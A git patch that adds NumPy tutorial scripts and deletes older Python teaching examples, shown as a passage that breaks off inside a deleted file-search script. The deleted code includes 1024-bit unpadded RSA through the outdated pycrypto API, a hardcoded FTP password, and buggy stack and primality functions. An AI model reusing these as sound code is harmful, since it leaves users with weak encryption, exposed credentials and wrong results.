From 52745b7187f38b9a2aba464cf28a89334f866a1e Mon Sep 17 00:00:00 2001 From: Sindhu17020103 Date: Wed, 18 Feb 2026 15:06:02 +0530 Subject: [PATCH] Added changes --- Test2/P01_Introduction.py | 83 ++++++++++++++++++ Test2/P02_NumpyDataTypes.py | 34 ++++++++ Test2/P03_NumpyAttributes.py | 24 ++++++ Test2/P04_ArrayFromNumericalRanges.py | 43 ++++++++++ Test2/P05_NumpyArrayManipulation.py | 83 ++++++++++++++++++ Test2/P06_NumpyStringFunctions.py | 43 ++++++++++ Test2/P07_NumpyMathematicalFunctions.py | 30 +++++++ Test2/P08_NumpyArithmeticOperations.py | 25 ++++++ Test2/P31_SinglyLinkedList.py | 95 --------------------- Test2/P32_Multithreading_Client.py | 24 ------ Test2/P32_Mutithreading_Server.py | 38 --------- Test2/P33_DoublyLinkedList.py | 108 ------------------------ Test2/P34_Stack.py | 58 ------------- Test2/P70_SimpleProgressBar.py | 18 ---- Test2/P71_PythonUnittest.py | 44 ---------- Test2/P72_PythonLambda.py | 33 -------- Test2/P73_SimplePythonEncryption.py | 27 ------ Test2/P74_PythonGenerators.py | 18 ---- Test2/P75_TicTacToe.py | 75 ---------------- Test2/P76_PythonFTP.py | 46 ---------- Test2/P77_FileSearching.py | 51 ----------- Test2/P78_HashTable.py | 40 --------- Test2/P79_SimplePythonKeylogger.py | 49 ----------- Test2/P80_SQLAlchemyTutorial.py | 61 ------------- 24 files changed, 365 insertions(+), 785 deletions(-) create mode 100644 Test2/P01_Introduction.py create mode 100644 Test2/P02_NumpyDataTypes.py create mode 100644 Test2/P03_NumpyAttributes.py create mode 100644 Test2/P04_ArrayFromNumericalRanges.py create mode 100644 Test2/P05_NumpyArrayManipulation.py create mode 100644 Test2/P06_NumpyStringFunctions.py create mode 100644 Test2/P07_NumpyMathematicalFunctions.py create mode 100644 Test2/P08_NumpyArithmeticOperations.py delete mode 100644 Test2/P31_SinglyLinkedList.py delete mode 100644 Test2/P32_Multithreading_Client.py delete mode 100644 Test2/P32_Mutithreading_Server.py delete mode 100644 Test2/P33_DoublyLinkedList.py delete mode 100644 Test2/P34_Stack.py delete mode 100644 Test2/P70_SimpleProgressBar.py delete mode 100644 Test2/P71_PythonUnittest.py delete mode 100644 Test2/P72_PythonLambda.py delete mode 100644 Test2/P73_SimplePythonEncryption.py delete mode 100644 Test2/P74_PythonGenerators.py delete mode 100644 Test2/P75_TicTacToe.py delete mode 100644 Test2/P76_PythonFTP.py delete mode 100644 Test2/P77_FileSearching.py delete mode 100644 Test2/P78_HashTable.py delete mode 100644 Test2/P79_SimplePythonKeylogger.py delete mode 100644 Test2/P80_SQLAlchemyTutorial.py diff --git a/Test2/P01_Introduction.py b/Test2/P01_Introduction.py new file mode 100644 index 0000000..95dbd2f --- /dev/null +++ b/Test2/P01_Introduction.py @@ -0,0 +1,83 @@ +# Author: OMKAR PATHAK + +# NumPy (Numeric Python) is a Python package used for building multi dimensional arrays and performing +# various operations + +# In this program we will walk through various concepts and see available functions in the NumPy package. + +# For installing: pip3 install numpy + +import numpy as np + +# we have a function arange() which makes an array of the specified dimension. Example: +myArray = np.arange(20) +print(myArray) # [ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19] + +# an array from 10 to 20 +myArray = np.arange(10, 20) # [10 11 12 13 14 15 16 17 18 19] +print(myArray) + +# an array from 10 to 20 with 2 steps +myArray = np.arange(10, 20, 2) +print(myArray) # [10 12 14 16 18] + +# reshape() helps to reshape our NumPy array +myArray = np.arange(20) +# syntax: reshape(number_of_rows, number_of_columns) +myArray = myArray.reshape(4, 5) +print(myArray) + +# [[ 0  1  2  3  4] +#  [ 5  6  7  8  9] +#  [10 11 12 13 14] +#  [15 16 17 18 19]] + +myArray = myArray.reshape(10, 2) +print(myArray) + +# [[ 0  1] +#  [ 2  3] +#  [ 4  5] +#  [ 6  7] +#  [ 8  9] +#  [10 11] +#  [12 13] +#  [14 15] +#  [16 17] +#  [18 19]] + +# shape returns the shape of the array. The length of shape tuple is called as rank (or dimension) +print(myArray.shape) # (10, 2) + +# ndim returns the dimension (rank) of the array +print(myArray.ndim) # 2 + +# size returns the total number of elements in the array +print(myArray.size) # 20 + +# to check the data we have dtype. +print(myArray.dtype) # int64 + +# zeros creates an array will all zeros +myArray = np.zeros((3, 4)) +print(myArray) + +# [[ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.]] + +# ones creates an array with all ones +myArray = np.ones((3, 4)) +print(myArray) + +# [[ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.]] + +# numpy random module helps to initialize array with random values +myArray = np.random.rand(3, 4) +print(myArray) + +# [[ 0.54808903  0.08750717  0.23886267  0.93589283] +#  [ 0.90750146  0.31197039  0.54013725  0.91092763] +#  [ 0.38827674  0.04647878  0.15997665  0.94909537]] diff --git a/Test2/P02_NumpyDataTypes.py b/Test2/P02_NumpyDataTypes.py new file mode 100644 index 0000000..fd33774 --- /dev/null +++ b/Test2/P02_NumpyDataTypes.py @@ -0,0 +1,34 @@ +# Author: OMKAR PATHAK + +# Data type Description +# bool_ Boolean (True or False) stored as a byte +# int_ Default integer type (same as C long; normally either int64 or int32) +# intc Identical to C int (normally int32 or int64) +# intp Integer used for indexing (same as C ssize_t; normally either int32 or int64) +# int8 Byte (-128 to 127) +# int16 Integer (-32768 to 32767) +# int32 Integer (-2147483648 to 2147483647) +# int64 Integer (-9223372036854775808 to 9223372036854775807) +# uint8 Unsigned integer (0 to 255) +# uint16 Unsigned integer (0 to 65535) +# uint32 Unsigned integer (0 to 4294967295) +# uint64 Unsigned integer (0 to 18446744073709551615) +# float_ Shorthand for float64. +# float16 Half precision float: sign bit, 5 bits exponent, 10 bits mantissa +# float32 Single precision float: sign bit, 8 bits exponent, 23 bits mantissa +# float64 Double precision float: sign bit, 11 bits exponent, 52 bits mantissa +# complex_ Shorthand for complex128. +# complex64 Complex number, represented by two 32-bit floats (real and imaginary components) +# complex128 Complex number, represented by two 64-bit floats (real and imaginary components) + +import numpy as np + +# while creating a numpy array, any data type from above can be explicitly specified. +myArray = np.arange(10) +print(myArray) # [0 1 2 3 4 5 6 7 8 9] + +myArray = np.array(myArray, dtype = np.float32) +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +myArray = np.array(myArray, dtype = np.complex64) +print(myArray) # [ 0.+0.j  1.+0.j  2.+0.j  3.+0.j  4.+0.j  5.+0.j  6.+0.j  7.+0.j  8.+0.j 9.+0.j] diff --git a/Test2/P03_NumpyAttributes.py b/Test2/P03_NumpyAttributes.py new file mode 100644 index 0000000..538689a --- /dev/null +++ b/Test2/P03_NumpyAttributes.py @@ -0,0 +1,24 @@ +# Author: OMKAR PATHAK + +# These are the various attributes provided by NumPy. + +import numpy as np + +myArray = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6] +#  [7 8 9]] + +# ndarray.size returns the number of items in the array +print(myArray.size) # 9 + +# ndarray.shape returns a tuple consisting of array dimensions +print(myArray.shape) # (3, 3) + +# ndarray.ndim returns the number of array dimensions +print(myArray.ndim) # 2 + +# ndarray.itemsize returns the memory size of each element in the array +print(myArray.itemsize) # 8 diff --git a/Test2/P04_ArrayFromNumericalRanges.py b/Test2/P04_ArrayFromNumericalRanges.py new file mode 100644 index 0000000..e8dbbf5 --- /dev/null +++ b/Test2/P04_ArrayFromNumericalRanges.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +# This program illustrates how to create an adarray from numerical ranges + +import numpy as np + +# ndarray.arange(start, stop, step, dtype) +# Creates a numpy array from 1 to 20 +myArray = np.arange(1, 21) +print(myArray) # [ 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20] + +# Specifying data type of each element +myArray = np.arange(10, dtype = 'float') +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +# Specifying steps to jump in between two elements +myArray = np.arange(1, 21, 2) +print(myArray) # [ 1  3  5  7  9 11 13 15 17 19] + +# ndarray.linspace(start, stop, num, endpoint, retstep, dtype) +# Shows 5 equal intervals between 10 to 20 +myArray = np.linspace(10, 20, 5) +print(myArray) # [ 10.   12.5  15.   17.5  20. ] + +# if endpoint is set to false the last number inn STOP parameter is not executed +myArray = np.linspace(10, 20, 5, endpoint = False) +print(myArray) # [ 10.  12.  14.  16.  18.] + +# ndarray.lopspace returns an ndarray object that contains the numbers that are evenly spaced +# on a log scale. +# ndarray.logscale(start, stop, num, endpoint, base, dtype) +# default base is 10 +myArray = np.logspace(1.0, 3.0, num = 10) +print(myArray) + +# [   10.            16.68100537    27.82559402    46.41588834    77.42636827 +#    129.1549665    215.443469     359.38136638   599.48425032  1000.        ] + +myArray = np.logspace(1.0, 3.0, num = 10, base = 2) +print(myArray) + +# [ 2.          2.33305808  2.72158     3.1748021   3.70349885  4.32023896 +#   5.0396842   5.87893797  6.85795186  8.        ] diff --git a/Test2/P05_NumpyArrayManipulation.py b/Test2/P05_NumpyArrayManipulation.py new file mode 100644 index 0000000..9a070c5 --- /dev/null +++ b/Test2/P05_NumpyArrayManipulation.py @@ -0,0 +1,83 @@ +# Author: OMKAR PATHAK + +# This example shows various array manipulation operations +import numpy as np + +# numpy.reshape(array_to_reshape, tuple_of_new_shape) gives new shape (dimension) to our array +myArray = np.arange(0, 30, 2) +print(myArray) # [ 0  2  4  6  8 10 12 14 16 18 20 22 24 26 28] + +myArrayReshaped = myArray.reshape(5, 3) +print(myArrayReshaped) + +# [[ 0  2  4] +#  [ 6  8 10] +#  [12 14 16] +#  [18 20 22] +#  [24 26 28]] + +# numpy.ndarray.flat() returns an 1-D iterator +print(myArray.flat[5]) # 10 + +# numpy.ndarray.flatten() restores the reshaped array into a 1-D array +print(myArrayReshaped.flatten()) + +# numpy.tranpose() this helps to find the tranpose of the given array +print(myArrayReshaped.transpose()) + +# [[ 0  6 12 18 24] +#  [ 2  8 14 20 26] +#  [ 4 10 16 22 28]] + +# numpy.swapaxes(array, axis1, axis2) interchanges the two axes of an array +originalArray = np.arange(8).reshape(2,2,2) +print(originalArray) + +# [[[0 1] +#   [2 3]] +#   +#  [[4 5] +#   [6 7]]] + +print(np.swapaxes(originalArray, 2, 0)) + +# [[[0 4] +#   [2 6]] +#   +#  [[1 5] +#   [3 7]]] + +# numpy.rollaxis(arr, axis, start) rolls the specified axis backwards, until it lies in a specified position +print(np.rollaxis(originalArray, 2)) + +# [[[0 2] +#   [4 6]] +#   +#  [[1 3] +#   [5 7]]] + +# numpy.resize(arr, shape) returns a new array with the specified size. If the new size is greater than +# the original, the repeated copies of entries in the original are contained + +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.resize(myArray, (3, 2))) + +# [[1 2] +#  [3 4] +#  [5 6]] + +# numpy.append(array, values, axis) +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.append(myArray, [7, 8, 9])) + +# [1 2 3 4 5 6 7 8 9] diff --git a/Test2/P06_NumpyStringFunctions.py b/Test2/P06_NumpyStringFunctions.py new file mode 100644 index 0000000..2337a25 --- /dev/null +++ b/Test2/P06_NumpyStringFunctions.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +import numpy as np + +abc = ['abc'] +xyz = ['xyz'] + +# string concatenation +print(np.char.add(abc, xyz)) # ['abcxyz'] + +print(np.char.add(abc, 'pqr')) # ['abcpqr'] + +# string multiplication +print(np.char.multiply(abc, 3)) # ['abcabcabc'] + +# numpy.char.center: This function returns an array of the required width so that the input string is +# centered and padded on the left and right with fillchar. + +print(np.char.center(abc, 20, fillchar = '*')) # ['********abc*********'] + +# numpy.char.capitalize(): This function returns the copy of the string with the first letter capitalized. +print(np.char.capitalize('hello world')) # Hello world + +# numpy.char.title(): This function returns a title cased version of the input string with the first letter +# of each word capitalized. +print(np.char.title('hello how are you?')) # Hello How Are You? + +# numpy.char.lower(): This function returns an array with elements converted to lowercase. It calls +# str.lower for each element. +print(np.char.lower(['HELLO','WORLD'])) # ['hello' 'world'] + +# numpy.char.upper(): This function calls str.upper function on each element in an array to return +# the uppercase array elements. +print(np.char.upper('hello')) # HELLO + +# numpy.char.split(): This function returns a list of words in the input string. By default, a whitespace +# is used as a separator +print(np.char.split('Omkar Pathak')) # ['Omkar', 'Pathak'] +print(np.char.split('2017-02-11', sep='-')) # ['2017', '02', '11'] + +# numpy.char.join(): This method returns a string in which the individual characters are joined by +# separator character specified. +print(np.char.join(':','dmy')) # d:m:y diff --git a/Test2/P07_NumpyMathematicalFunctions.py b/Test2/P07_NumpyMathematicalFunctions.py new file mode 100644 index 0000000..3929826 --- /dev/null +++ b/Test2/P07_NumpyMathematicalFunctions.py @@ -0,0 +1,30 @@ +# Author: OMKAR PATHAK + +import numpy as np + +angles = np.array([0, 30, 45, 60, 90, 180, 360]) + +# Convert to radians by multiplying with pi/180 +# for getting sine of angles +print(np.sin(angles * np.pi/180)) + +# for getting cosine of angles +print(np.cos(angles * np.pi/180)) + +# for getting tangent of angles +print(np.tan(angles * np.pi/180)) + +# for computing inverse of trigonometric functions +sine = np.sin(angles * np.pi/180) +sineinv = np.arcsin(sine) +# computing angle from inverse +print(np.degrees(sineinv)) + +# for rounding the values +print(np.around(sine, 4)) # [ 0.      0.5     0.7071  0.866   1.      0.     -0.    ] + +# for rounding to previous integer +print(np.floor(sine)) # [ 0.  0.  0.  0.  1.  0. -1.] + +# for rounding to next integer +print(np.ceil(sine)) # [ 0.  1.  1.  1.  1.  1. -0.] diff --git a/Test2/P08_NumpyArithmeticOperations.py b/Test2/P08_NumpyArithmeticOperations.py new file mode 100644 index 0000000..4c74718 --- /dev/null +++ b/Test2/P08_NumpyArithmeticOperations.py @@ -0,0 +1,25 @@ +# Author: OMKAR PATHAK + +import numpy as np + +firstArray = np.arange(12).reshape(3, 4) +print(firstArray) + +secondArray = np.arange(4) +print(secondArray) + +# adding above two arrays (NOTE: array shapes should be same) +print(np.add(firstArray, secondArray)) + +# subtracting above two arrays +print(np.subtract(firstArray, secondArray)) + +# multiplying above two arrays +print(np.multiply(firstArray, secondArray)) + +# dividing the above two arrays +print(np.divide(firstArray, secondArray)) + +# numpy.power(): returns array element raised to the specified value result +array = np.array([1, 2, 3]) +print(np.power(array, 2)) # [1 4 9] diff --git a/Test2/P31_SinglyLinkedList.py b/Test2/P31_SinglyLinkedList.py deleted file mode 100644 index 15ac75e..0000000 --- a/Test2/P31_SinglyLinkedList.py +++ /dev/null @@ -1,95 +0,0 @@ -#This program illustrates an example of singly linked list -#Linked lists do NOT support random access hence only sequential search can be carried out - -class Node(object): - def __init__(self, data, Next = None): - self.data = data - self.next = Next - - def getData(self): - return self.data - - def setData(self, data): - self.data = data - - def getNext(self): - return self.next - - def setNext(self, newNext): - self.next = newNext - -class LinkedList(object): - def __init__(self): - self.head = None - - def isEmpty(self): - return self.head == None - - def add(self, element): - temp = Node(element) - temp.setNext(self.head) - self.head = temp - - def size(self): - current = self.head - count = 0 - while current != None: - count = count + 1 - current = current.getNext() - - return count - - def search(self,item): - current = self.head - found = False - while current != None and not found: - if current.getData() == item: - found = True - else: - current = current.getNext() - - return found - - def remove(self,item): - current = self.head - previous = None - found = False - while current != None and not found: - if current.getData() == item: - found = True - else: - previous = current - current = current.getNext() - - if previous == None: - self.head = current.getNext() - else: - previous.setNext(current.getNext()) - - def getAllData(self): - current = self.head - elements = [] - while current: - elements.append(current.getData()) - current = current.getNext() - - return elements - -if __name__ == '__main__': - myList = LinkedList() - - print(myList.head) # None - - myList.add(12) - myList.add(2) - myList.add(22) - myList.add(32) - myList.add(42) - - print(myList.size()) # 5 - - print(myList.search(93)) # False - print(myList.search(12)) # True - print(myList.getAllData()) - myList.remove(12) - print(myList.getAllData()) diff --git a/Test2/P32_Multithreading_Client.py b/Test2/P32_Multithreading_Client.py deleted file mode 100644 index 8e118c0..0000000 --- a/Test2/P32_Multithreading_Client.py +++ /dev/null @@ -1,24 +0,0 @@ -#This program illustrates the client-server model using multithreading. -#Multiole clients can connect to server and each time a client connects a corresponding -#thread is created for handling client requests - -import socket - -ClientSocket = socket.socket() -host = '127.0.0.1' -port = 1233 - -print('Waiting for connection') -try: - ClientSocket.connect((host, port)) -except socket.error as e: - print(str(e)) - -Response = ClientSocket.recv(1024) -while True: - Input = input('Say Something: ') - ClientSocket.send(str.encode(Input)) - Response = ClientSocket.recv(1024) - print(Response.decode('utf-8')) - -ClientSocket.close() diff --git a/Test2/P32_Mutithreading_Server.py b/Test2/P32_Mutithreading_Server.py deleted file mode 100644 index 68639a3..0000000 --- a/Test2/P32_Mutithreading_Server.py +++ /dev/null @@ -1,38 +0,0 @@ -#This program illustrates the client-server model using multithreading. -#Multiole clients can connect to server and each time a client connects a corresponding -#thread is created for handling client requests - -import socket -import os -from _thread import * - -ServerSocket = socket.socket() -host = '127.0.0.1' -port = 1233 -ThreadCount = 0 -try: - ServerSocket.bind((host, port)) -except socket.error as e: - print(str(e)) - -print('Waitiing for a Connection..') -ServerSocket.listen(5) - -#Function for handling requests by a thread -def threaded_client(connection): - connection.send(str.encode('Welcome to the Server\n')) - while True: - data = connection.recv(2048) - reply = 'Server Says: ' + data.decode('utf-8') - if not data: - break - connection.sendall(str.encode(reply)) - connection.close() - -while True: - Client, address = ServerSocket.accept() - print('Connected to: ' + address[0] + ':' + str(address[1])) - start_new_thread(threaded_client, (Client, )) - ThreadCount += 1 - print('Thread Number: ' + str(ThreadCount)) -ServerSocket.close() diff --git a/Test2/P33_DoublyLinkedList.py b/Test2/P33_DoublyLinkedList.py deleted file mode 100644 index 7b16312..0000000 --- a/Test2/P33_DoublyLinkedList.py +++ /dev/null @@ -1,108 +0,0 @@ -#Author: OMKAR PATHAK -#This program illustrates an example of singly linked list - -class Node(object): - def __init__(self, data, Next = None, Previous = None): - self.data = data - self.next = Next - self.previous = Previous - - def getNext(self): - return self.next - - def getPrevious(self): - return self.previous - - def getData(self): - return self.data - - def setData(self, newData): - self.data = newData - - def setNext(self, newNext): - self.next = newNext - - def setPrevious(self, newPrevious): - self.previous = newPrevious - - -class LinkedList(object): - def __init__(self): - self.head = None - - def isEmpty(self): - ''' This function checks whether the list is empty''' - return self.head == None - - def insertFirst(self, data): - ''' This function inserts a new node in the Linked List ''' - newNode = Node(data) - if self.head: - self.head.setPrevious(newNode) - newNode.setNext(self.head) - self.head = newNode - - def insertLast(self, data): - newNode = Node(data) - current = self.head - while current.getNext() != None: - current = current.getNext() - current.setNext(newNode) - newNode.setPrevious(current) - - # def insertBetween(self, newItem, item): - # current = self.head - # newNode = Node(newItem) - # previous = None - # found = False - # while not found: - # if current.getData() == item: - # found = True - # else: - # previous = current - # current = current.getNext() - # - # if previous == None: - # self.head = current.getPrevious() - # else: - # previous.setNext(newNode) - # newNode.setPrevious(previous) - - def getAllData(self): - ''' This function displays the data elements of the Linked List ''' - current = self.head - elements = [] - while current: - elements.append(current.getData()) - current = current.getNext() - - return elements - - def remove(self,item): - current = self.head - previous = None - found = False - while not found: - if current.getData() == item: - found = True - else: - previous = current - current = current.getNext() - - if previous == None: - self.head = current.getNext() - else: - previous.setNext(current.getNext()) - -if __name__ == '__main__': - myList = LinkedList() - myList.insertFirst(1) - myList.insertFirst(12) - myList.insertFirst(32) - myList.insertFirst(22) - myList.insertLast(2) - myList.remove(12) - # myList.insertBetween(12, 22) - # for i in range(0, 10): - # myList.insertFirst(i) - print(myList.getAllData()) diff --git a/Test2/P34_Stack.py b/Test2/P34_Stack.py deleted file mode 100644 index 37ea8a5..0000000 --- a/Test2/P34_Stack.py +++ /dev/null @@ -1,58 +0,0 @@ -#Author: OMKAR PATHAK - -#This program illustrates an example of Stack implementation -#Stack Operations: push(), pop(), isEmpty(), peek(), stackSize() - -class Stack(object): - def __init__(self, size): - self.index = [] - self.size = size - - def __str__(self): - myString = ' '.join(str(i) for i in self.index) - return myString - - def push(self, data): - ''' Pushes a element to top of the stack ''' - if(self.isFull() != True): - self.index.append(data) - else: - print('Stack overflow') - - def pop(self): - ''' Pops the top element ''' - if(self.isEmpty() != True): - return self.index.pop() - else: - print('Stack is already empty!') - - def isEmpty(self): - ''' Checks whether the stack is empty ''' - return len(self.index) == [] - - def isFull(self): - ''' Checks whether the stack if full ''' - return len(self.index) == self.size - - def peek(self): - ''' Returns the top element of the stack ''' - if(self.isEmpty() != True): - return self.index[-1] - else: - print('Stack is already empty!') - - def stackSize(self): - ''' Returns the current stack size ''' - return len(self.index) - -if __name__ == '__main__': - myStack = Stack(10) - for i in range(0, 10): - myStack.push(i) - print(myStack.isEmpty()) # False - print(myStack.isFull()) # True - print(myStack) # 0 1 2 3 4 5 6 7 8 9 - print(myStack.stackSize()) # 10 - print(myStack.pop()) # 9 - print(myStack) # 0 1 2 3 4 5 6 7 8 - print(myStack.peek()) # 8 diff --git a/Test2/P70_SimpleProgressBar.py b/Test2/P70_SimpleProgressBar.py deleted file mode 100644 index ee03455..0000000 --- a/Test2/P70_SimpleProgressBar.py +++ /dev/null @@ -1,18 +0,0 @@ -# This is the program for creating a simple progress bar. You may need this in many of your projects. -# You can install a module for progress bar by 'pip3 install progressbar2' - -import sys, time - -def progressBar(count, total, suffix=''): - barLength = 60 - filledLength = int(round(barLength * count / float(total))) - - percent = round(100.0 * count / float(total), 1) - bar = '=' * filledLength + '-' * (barLength - filledLength) - - sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) - sys.stdout.flush() - -for i in range(10): - time.sleep(1) - progressBar(i, 10) diff --git a/Test2/P71_PythonUnittest.py b/Test2/P71_PythonUnittest.py deleted file mode 100644 index b5ef685..0000000 --- a/Test2/P71_PythonUnittest.py +++ /dev/null @@ -1,44 +0,0 @@ -# Author: OMKAR PATHAK - -# This module helps to build the testcases for a particular program to test its integrity and overall execution - -import unittest - -def checkPrime(number): - '''This function checks if the number is a prime number''' - if number == 2: - return True - if number > 2: - for i in range(2, number): - if number % i == 0: - return False - break - else: - return True - break - else: - return False - -# Class for providing test cases -class CheckPrime(unittest.TestCase): - - def test_checkPrime(self): - self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument - - def test_checkPrime2(self): - self.assertTrue(checkPrime(5)) # Check if the function returns True - self.assertFalse(checkPrime(4)) # Check if the function returns False - - def test_checkPrime3(self): - # Check that providing a string input produces an error - with self.assertRaises(TypeError): - checkPrime('1') - -if __name__ == '__main__': - unittest.main() - - # OUTPUT: - # ---------------------------------------------------------------------- - # Ran 3 tests in 0.000s - #   - # OK diff --git a/Test2/P72_PythonLambda.py b/Test2/P72_PythonLambda.py deleted file mode 100644 index 67fc881..0000000 --- a/Test2/P72_PythonLambda.py +++ /dev/null @@ -1,33 +0,0 @@ -# Author: OMKAR PATHAK - -# In this program we will learn what Python lambda is. -# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without -# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. -# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda -# feature was added to Python due to the demand from Lisp programmers. - -# The argument list consists of a comma separated list of arguments and the expression is an arithmetic -# expression using these arguments. You can assign the function to a variable to give it a name. -# The following example of a lambda function returns the sum of its two arguments: - -myFunc = lambda x, y: x * y - -print(myFunc(2, 3)) #output: 6 - -#Here we are directly creating the function and passing the arguments -print((lambda x, y: x * y)(2, 3)) #same output i.e 6 - -print(type(lambda x, y: x * y)) #Output: - -# example to find squares of all numbers of a list -myList = [i for i in range(10)] - -# returns square of each number -myFunc2 = lambda x: x * x - -squares = list(map(myFunc2, myList)) -print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] - -print(list(map(lambda x: x * x, myList))) #same as above - - diff --git a/Test2/P73_SimplePythonEncryption.py b/Test2/P73_SimplePythonEncryption.py deleted file mode 100644 index f898416..0000000 --- a/Test2/P73_SimplePythonEncryption.py +++ /dev/null @@ -1,27 +0,0 @@ -# Author: OMKAR PATHAK - -# This program illustrates a simple Python encryption example using the RSA Algotrithm - -# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric -# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). - -# For installation: sudo pip3 install pycrypto - -from Crypto.PublicKey import RSA -from Crypto import Random - -randomGenerator = Random.new().read -# Generating a private key and a public key -# key stores both the keys -key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits -print(key) # Prints private key -print(key.publickey()) # Prints public key - -# Encryption using Public Key -publicKey = key.publickey() -encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) -print(encryptedData) - -# Decryption using Private Key -decryptedData = key.decrypt(encryptedData) -print(decryptedData) diff --git a/Test2/P74_PythonGenerators.py b/Test2/P74_PythonGenerators.py deleted file mode 100644 index 16333bf..0000000 --- a/Test2/P74_PythonGenerators.py +++ /dev/null @@ -1,18 +0,0 @@ -# Author: OMKAR PATHAK - -# A Python generator is a function which returns a generator iterator (just an object we can iterate over) -# by calling yield - -def simpleGenerator(numbers): - i = 0 - while True: - check = input('Wanna generate a number? (If yes, press y else n): ') - if check in ('Y', 'y') and len(numbers) > i: - yield numbers[i] - i += 1 - else: - print('Bye!') - break - -for number in simpleGenerator([10, 11, 12, 14]): - print(number) diff --git a/Test2/P75_TicTacToe.py b/Test2/P75_TicTacToe.py deleted file mode 100644 index a8dcee4..0000000 --- a/Test2/P75_TicTacToe.py +++ /dev/null @@ -1,75 +0,0 @@ -# Author: OMKAR PATHAK - -# A simple example of tic tac toe game - -# For storing user choices -choices = [] - -# For initializing the board with numbers -for i in range(0, 9): - choices.append(str(i)) - -firstPlayer = True -winner = False -iterations = 0 # To terminate the loop - -# For drawing board on to the terminal -def printBoard(): - print('\n=============') - print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') - print('=============') - print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') - print('=============') - print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') - print('=============\n') - -# Play the game while the winner is not decided or the game is drawn -while not winner and iterations < 9: - printBoard() - - iterations += 1 - - if firstPlayer == True: - print('Player 1: ', end = '') - else: - print('Player 2: ', end = '') - - try: - playerInput = int(input()) - except: - print('Please enter a valid number from the board') - continue - - # Check if userInput already has 'X' or 'O' - if choices[playerInput] == 'X' or choices[playerInput] == 'O': - print('Illegal move, try again!') - continue - - if firstPlayer: - choices[playerInput] = 'X' - else: - choices[playerInput] = 'O' - - firstPlayer = not firstPlayer - - # Winning conditions - for index in range(0, 3): - # For [0,1,2], [3,4,5], [6,7,8] - if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): - winner = True - printBoard() - - # For [0,3,6], [1,4,7], [2,5,8] - if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): - winner = True - printBoard() - - if((choices[0] == choices[4] and choices[4] == choices[8]) or - (choices[2] == choices[4] and choices[4] == choices[6])): - winner = True - printBoard() - -if winner: - print('Player ' + str(int(firstPlayer + 1)) + ' wins!') -else: - print('Game drawn') diff --git a/Test2/P76_PythonFTP.py b/Test2/P76_PythonFTP.py deleted file mode 100644 index 9df8d20..0000000 --- a/Test2/P76_PythonFTP.py +++ /dev/null @@ -1,46 +0,0 @@ -# Author: OMKAR PATHAK - -# For transfering files to your another/local computer, you will have to install a FTP -# Daemon. Execute following for doing the same: -# 1. sudo apt-get install vsftpd -# 2. service vsftpd start -# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig -# 4. sudo nano /etc/vsftpd.conf - -# Now change the following settings in that file: -# -# anonymous_enable=NO # disable anonymous login -# local_enable=YES # permit local logins -# write_enable=YES # enable FTP commands which change the filesystem -# local_umask=022 # value of umask for file creation for local users -# dirmessage_enable=YES # enable showing of messages when users first enter a new directory -# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads -# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections -# xferlog_std_format=YES # keep standard log file format -# listen=NO # prevent vsftpd from running in standalone mode -# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one -# pam_service_name=vsftpd # name of the PAM service vsftpd will use -# userlist_enable=YES # enable vsftpd to load a list of usernames -# tcp_wrappers=YES # turn on tcp wrappers - -import ftplib - -def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): - """ - A function for uploading files to an FTP server - @param ftpObj: The file transfer protocol object - @param path: The path to the file to upload - """ - with open(pathToSend, 'rb') as fobj: - ftpObj.storlines('STOR ' + pathToRecv, fobj) - -if __name__ == '__main__': - ftp = ftplib.FTP('127.0.0.1') - ftp.login('omkarpathak', '8149omkar') - print('Logged in..') - - pathToSend = '/home/omkarpathak/Desktop/output.txt' - pathToRecv = '/home/omkarpathak/Documents/output.txt' - ftp_upload(ftp, pathToSend, pathToRecv) - - ftp.quit() diff --git a/Test2/P77_FileSearching.py b/Test2/P77_FileSearching.py deleted file mode 100644 index a651b5c..0000000 --- a/Test2/P77_FileSearching.py +++ /dev/null @@ -1,51 +0,0 @@ -# Author: OMKAR PATHAK - -# This program will help us implement concepts such as binary searching, operating system. -# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might -# consume all your resources and your system might get crashed - -import os -from pathlib import Path - -DIRECTORY = '/home/omkarpathak/Desktop' - -# List all the directories in the DIRECTORY -dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] - -# List all the files in the DIRECTORY -# files = [name for name in os.listdir(DIRECTORY) 